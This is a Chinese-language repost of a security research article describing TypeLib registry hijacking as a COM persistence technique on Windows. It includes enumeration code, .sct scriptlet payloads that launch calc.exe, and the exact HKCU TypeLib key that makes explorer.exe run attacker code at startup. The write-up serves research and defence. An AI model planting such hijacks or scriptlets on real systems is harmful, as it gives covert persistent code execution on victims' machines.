劫持 TypeLib 新的 COM 持久性技术

admin 2025年7月1日14:11:53劫持 TypeLib 新的 COM 持久性技术已关闭评论9 views字数 8113阅读27分2秒阅读模式
劫持 TypeLib 新的 COM 持久性技术

攻击者使用各种方法来获取计算机上的持久性:自动运行文件夹、计划任务、注册表项。然而,这些方法对于防御者来说非常熟悉,因此很容易被检测到。

还有更多奇特的持久性方法:破坏客户端软件二进制文件(例如 AppDomain 劫持)、过滤器处理程序、应用程序垫片、COM 劫持。

即使保护系统配置正确,这些方法也很容易被检测到。

因此,我决定寻找一些新的持久化方法。研究的对象是 COM(组件对象模型)系统。这个选择并非偶然,它是一个相当古老、不太简单也不太复杂的系统,了解的人并不多。

在本文中,我将介绍 TypeLib 库,了解 TypeLib 与 COM 之间的关系,并使用 TypeLib 实现持久代码执行。

TL;DR

我们发现,用于将 TypeLib 库加载到进程中的LoadTypeLib()函数会查找某些注册表项,以尝试发现目标库的路径。根据文档,如果该函数检测到的是名字对象(COM 对象的字符串表示形式)而不是磁盘路径,则会在进程中加载并执行该名字对象

劫持 TypeLib 新的 COM 持久性技术

文档

因此,如果 explorer.exe 调用 LoadTypeLib() 函数,并且我们劫持了名字对象的必要注册表项,则名字对象将在 explorer.exe 内部实例化,并且其代码将被执行。

我还将介绍我们创建的用于检测可被劫持的 TypeLib 的工具TypeLibWalker 。

劫持 TypeLib 新的 COM 持久性技术

TypeLibWalker 用法

什么是 TypeLib?

COM 功能通常呈现在特定的文件中:DLL 库或 EXE。然而,如何获取特定 COM 类的文档呢?微软为此推出了 TypeLib。

TypeLib 包含有关 COM 类的信息,该类位于一个文件中。在 TypeLib 中,您可以找到类、接口和方法描述的列表。

您可以通过编程方式使用ITypeLib和ITypeInfo接口与 TypeLib 进行交互。例如,在我们的COMThanasia存储库中,我们使用这些接口来接收有关特定 CLSID 的信息。

PS A:\ssd\gitrepo\COMThanasia\ClsidExplorer\x64\Debug> .\CLSIDExplorer.exe --clsid "{00000618-0000-0010-8000-00aa006d2ea4}"[{00000618-0000-0010-8000-00aa006d2ea4}]        AppID: Unknown        ProgID: Unknown        PID: 1572        Process Name: CLSIDExplorer.exe        Username: WINPC\\Michael        Methods:        [0] __stdcall void QueryInterface(IN GUID*, OUT void**)        [1] __stdcall unsignedlong AddRef()        [2] __stdcall unsignedlong Release()        [3] __stdcall void GetTypeInfoCount(OUT unsignedint*)        [4] __stdcall void GetTypeInfo(IN unsignedint, IN unsignedlong, OUT void**)        [5] __stdcall void GetIDsOfNames(IN GUID*, IN char**, IN unsignedint, IN unsignedlong, OUT long*)        [6] __stdcall void Invoke(IN long, IN GUID*, IN unsignedlong, IN unsignedshort, IN DISPPARAMS*, OUT VARIANT*, OUT EXCEPINFO*, OUT unsignedint*)        [7] __stdcall BSTR Name()        [8] __stdcall void Name(IN BSTR)        [9] __stdcall RightsEnum GetPermissions(IN VARIANT, IN ObjectTypeEnum, IN VARIANT)        [10] __stdcall void SetPermissions(IN VARIANT, IN ObjectTypeEnum, IN ActionEnum, IN RightsEnum, IN InheritTypeEnum, IN VARIANT)        [11] __stdcall void ChangePassword(IN BSTR, IN BSTR)        [12] __stdcall Groups* Groups()        [13] __stdcall Properties* Properties()        [14] __stdcall _Catalog* ParentCatalog()        [15] __stdcall void ParentCatalog(IN _Catalog*)        [16] __stdcall void ParentCatalog(IN _Catalog*)[END]

在代码中,我们定义了一个只有两个方法的 TypeLib 类,足以提取 COM 类的函数签名。

您还可以使用TypeLibInfoTool探索 TypeLib 。

https://github.com/fedapo/TypeLibInfoTool
劫持 TypeLib 新的 COM 持久性技术

示例输出

什么是绰号?

名字对象是 COM 对象的字符串表示形式。字面意义上来说,它与 COM 对象相同,只不过是一个简单的字符串。

更准确地说,名字对象是一种通过特殊名称来标识 COM 对象的方式。名字对象的功能也可以在 DLL 中实现。

黑客会使用不少 Moniker 来完成攻击任务。例如,LeakedWallpaper项目就是一个针对 Windows 系统的本地权限提升 (LPE) 漏洞,它滥用了会话 Moniker。此外,还有一些Elevation Moniker可以用来绕过用户账户控制 (UAC)。

劫持 TypeLib 新的 COM 持久性技术

LeakedWallpaper 中的 Session Moniker 使用

还有一些常见的名字对象,它们没有特别的功能。这就是类名字对象 (Class Moniker)。类名字对象允许你通过 CLSID 启动 COM 对象,仅此而已。以下是类名字对象的一个示例。

“clsid:a7b90590-36fd-11cf-857d-00aa006d2ea4:”

链接 COM 和 Typelib

COM 类是如何链接到 TypeLib 的?在 COM 对象键中,有一个名为 的键TypeLib。

劫持 TypeLib 新的 COM 持久性技术

TypeLib 键

例如,在本例中,有一个 CLSID 为 的 COM 对象{EAE50EB0-4A62-11CE-BED6-00AA00611080},它与 TypeLib ID 为 的 TypeLib 库相关联{0D452EE1-E08F-101A-852E-02608C4D0BB4}。TypeLib 库的版本在键 中定义Version。

劫持 TypeLib 新的 COM 持久性技术

版本密钥

如果进程需要与此 COM 类关联的 TypeLib,则进程将开始查看这些注册表项以发现 TypeLib 的路径。 

HKCU\Software\Classes\TypeLib\<TypeLibID>\<Version>HKLM\Software\Classes\TypeLib\<TypeLibID>\<Version># Ex HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0

0发现后,TypeLib 被加载到 key ->architecture ( win32/Win64)->路径上Default Value.

劫持 TypeLib 新的 COM 持久性技术

类型库的路径

找到的路径会被传递给 LoadTypeLib() 函数。这正是技巧所在。如果该函数接收到名字对象作为输入,它就会执行该名字对象。这样,我们就可以劫持注册表中的一个值,并强制进程执行我们的代码。唯一的难点在于,我们需要确定进程正在加载哪个 TypeLib 库。

选择正确的昵称

假设我们已经学会了如何强制进程加载我们想要的绰号。但是我们应该使用哪个绰号呢?

于是,我开始研究。网上没有现成的 Windows 名字对象列表。然而,这对研究人员来说从来都不是问题。根据文档,名字对象是指所有实现 IMoniker 接口的对象。而名字对象本身实际上与 COM 对象相同。那么,是什么阻止我们创建一个对象,然后调用 QueryInterface() 并检查该对象是否具有 IMoniker 接口呢?没有!继续写代码吧!

#include<windows.h>#include<iostream>#include<objbase.h>#include<combaseapi.h>#include<objidl.h>#include<atlbase.h>LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS exceptionInfo){std::wcout << "Wow!! Something had broken" << std::endl;return EXCEPTION_CONTINUE_EXECUTION;}boolInitializeCOM(){ HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);return SUCCEEDED(hr);}boolDoesObjectImplementIMoniker(REFCLSID clsid){ IMoniker* pMoniker = nullptr; IUnknown* pUnknown = nullptr; HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pUnknown);if (SUCCEEDED(hr) && pUnknown) {  hr = pUnknown->QueryInterface(IID_IMoniker, (void**)&pMoniker);if (SUCCEEDED(hr)) {   LPOLESTR wsclsid = nullptr;   hr = StringFromCLSID(clsid, &wsclsid);if (SUCCEEDED(hr))   {//std::wcout << L"CLSID:" << wsclsid << std::endl;    pMoniker->Release();    pUnknown->Release();    CoTaskMemFree(wsclsid);returntrue;   }  }  pUnknown->Release(); }returnfalse;}voidEnumerateAllCLSID(){ HKEY hKey;if (RegOpenKeyEx(HKEY_CLASSES_ROOT, L"CLSID"0, KEY_READ, &hKey) == ERROR_SUCCESS) {wchar_t clsidStr[39];  DWORD index = 0;  DWORD size = sizeof(clsidStr) / sizeof(clsidStr[0]);while (RegEnumKeyEx(hKey, index, clsidStr, &size, nullptrnullptrnullptrnullptr) == ERROR_SUCCESS) {   CLSID clsid;if (CLSIDFromString(clsidStr, &clsid) == S_OK) {if (DoesObjectImplementIMoniker(clsid)) {     LPOLESTR wsclsid = nullptr;     HRESULT hr = StringFromCLSID(clsid, &wsclsid);if (SUCCEEDED(hr))     {std::wcout << L"Object with CLSID " << wsclsid << L" implements IMoniker" << std::endl;     }    }   }   index++;   size = sizeof(clsidStr) / sizeof(clsidStr[0]);  }  RegCloseKey(hKey); }}intmain(){if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) == nullptr) {std::wcout << L"[-] Failed to add the exception handler!" << std::endl;return1; }if (!InitializeCOM()) {std::cerr << "Failed to initialize COM" << std::endl;return1; } EnumerateAllCLSID(); CoUninitialize();return0;}

此代码从 HKCR 获取所有可用的 CLSID,然后检查对象上是否存在 IMoniker 接口。

劫持 TypeLib 新的 COM 持久性技术

研究中…

实验发现,某些对象无法创建,或者会导致进程崩溃。我在开发 COMThanasia 项目时就遇到过这种情况。但是,我懒得修复这段代码。我决定找出检测到的 CLSID 所特有的特性。

劫持 TypeLib 新的 COM 持久性技术

嗯…有趣的名字

看看这个名字多有趣?ClassMoniker. Moniker……嗯……这真的是实现IMoniker接口的COM类的显著特征吗?

OleViewDotnet 有一个方便的功能,可以按名称对 CLSID 进行分组。我用过这个功能,发现很多类都实现了名字对象。

劫持 TypeLib 新的 COM 持久性技术

绰号

在这些类的列表中,发现了一个名为“Moniker to Windows Script Component”的类。

劫持 TypeLib 新的 COM 持久性技术

有趣的绰号

在尝试查找 Windows 脚本组件系统的示例文件时,我偶然发现了一个资源,其中描述了这些基于 XML 的文件,其中包含操作。这些文件支持脚本标签,您可以在其中指定 JScript 代码。

<?XML version="1.0"?><package><?component error="true" debug="true"?><comment>      This skeleton shows how script component elements are       assembled into a .wsc file.</comment><componentid="MyScriptlet"><registrationprogid="progID"description="description"version="version"clsid="{00000000-0000-0000-000000000000}"/><referenceobject="progID"><public><propertyname="propertyname"/><methodname="methodname"/><eventname="eventname"/></public><implementstype=COMhandlerNameid=internalName>      (interface-specific definitions here)</implements><scriptlanguage="VBScript">      <![CDATA[      dim propertyname      Function methodname()      ' Script here.      End Function      ]]></script><scriptlanguage="JScript">      <![CDATA[      function get_propertyname()      { // Script here.      }      function put_propertyname(newValue)      { // Script here.         fireEvent(eventname)      }      ]]></script><objectid="objID"classid="clsid:00000000-0000-0000-000000000000"><resourceID="resourceID1">string or number here</resource><resourceID="resourceID2">string or number here</resource></component></package>

我们可以删除一些细节,只留下有用的 JScript Payload。

Payload 的基础信息来自这里。

https://learn.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525369(v=vs.90)
<?xml version="1.0"?><scriptlet><Registrationdescription="CICADA8 RESEARCH"progid="CICADA8"version="1.0"></Registration><scriptlanguage="JScript">        <![CDATA[            var WShell = new ActiveXObject("WScript.Shell");            WShell.Run("calc.exe");        ]]></script></scriptlet>

如果我们使用脚本名字对象指向该文件,则该名字对象的创建将导致进程运行。

UPD:如果您在使用该有效载荷时遇到一些问题,请尝试使用下一个:

<?xml version="1.0"?><scriptlet><registrationdescription="explorer"progid="explorer"version="1.0"classid="{66666666-6666-6666-6666-666666666666}"remotable="true"></registration><scriptlanguage="JScript">        <![CDATA[            var WShell = new ActiveXObject("WScript.Shell");            WShell.Run("calc.exe");        ]]></script></scriptlet>

找到合适的目标

剩下的就是检测一个加载了我们可以篡改的库的进程。我打开了进程监视器,添加了过滤器……然后发现 explorer.exe 一直在尝试加载一些 TypeLib 库!

劫持 TypeLib 新的 COM 持久性技术

通过进程 explorer.exe 加载 TypeLib

让我们以结果中具有 NAME NOT FOUND 状态的路径为例。

劫持 TypeLib 新的 COM 持久性技术

路径是 HKCU\Software\Classes\TypeLib\{EAB22AC0–30C1–11CF-A7EB-0000C05BAE0B}\1.1。如你所见,没有这样的路径。让我们创建一个。

劫持 TypeLib 新的 COM 持久性技术

缺失路径

我们要做的就是通过指定 .sct 文件的路径来恢复此路径。

劫持 TypeLib 新的 COM 持久性技术

关键示例

下次我们启动或关闭 explorer.exe 进程时,我们的代码就会被执行。explorer.exe 是一个在系统启动时自动启动的进程,所以我们又找到了另一种方法来获得持久性!

劫持 TypeLib 新的 COM 持久性技术

坚持有效

TypelibWalker

但是,如果您不想一直使用 Process Monitor,那么您可以尝试劫持所有您有写入权限的类型库。TypeLibWalker工具允许您自动检测可能被劫持的、存在漏洞的注册表项。

劫持 TypeLib 新的 COM 持久性技术

使用示例

该程序还会检查磁盘路径的写入权限。您可以将后门留在合法的 TypeLib 库中。

劫持 TypeLib 新的 COM 持久性技术

劫持磁盘上的类型库

原文始发于微信公众号(Ots安全):劫持 TypeLib 新的 COM 持久性技术

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月1日14:11:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   劫持 TypeLib 新的 COM 持久性技术https://cn-sec.com/archives/4203744.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.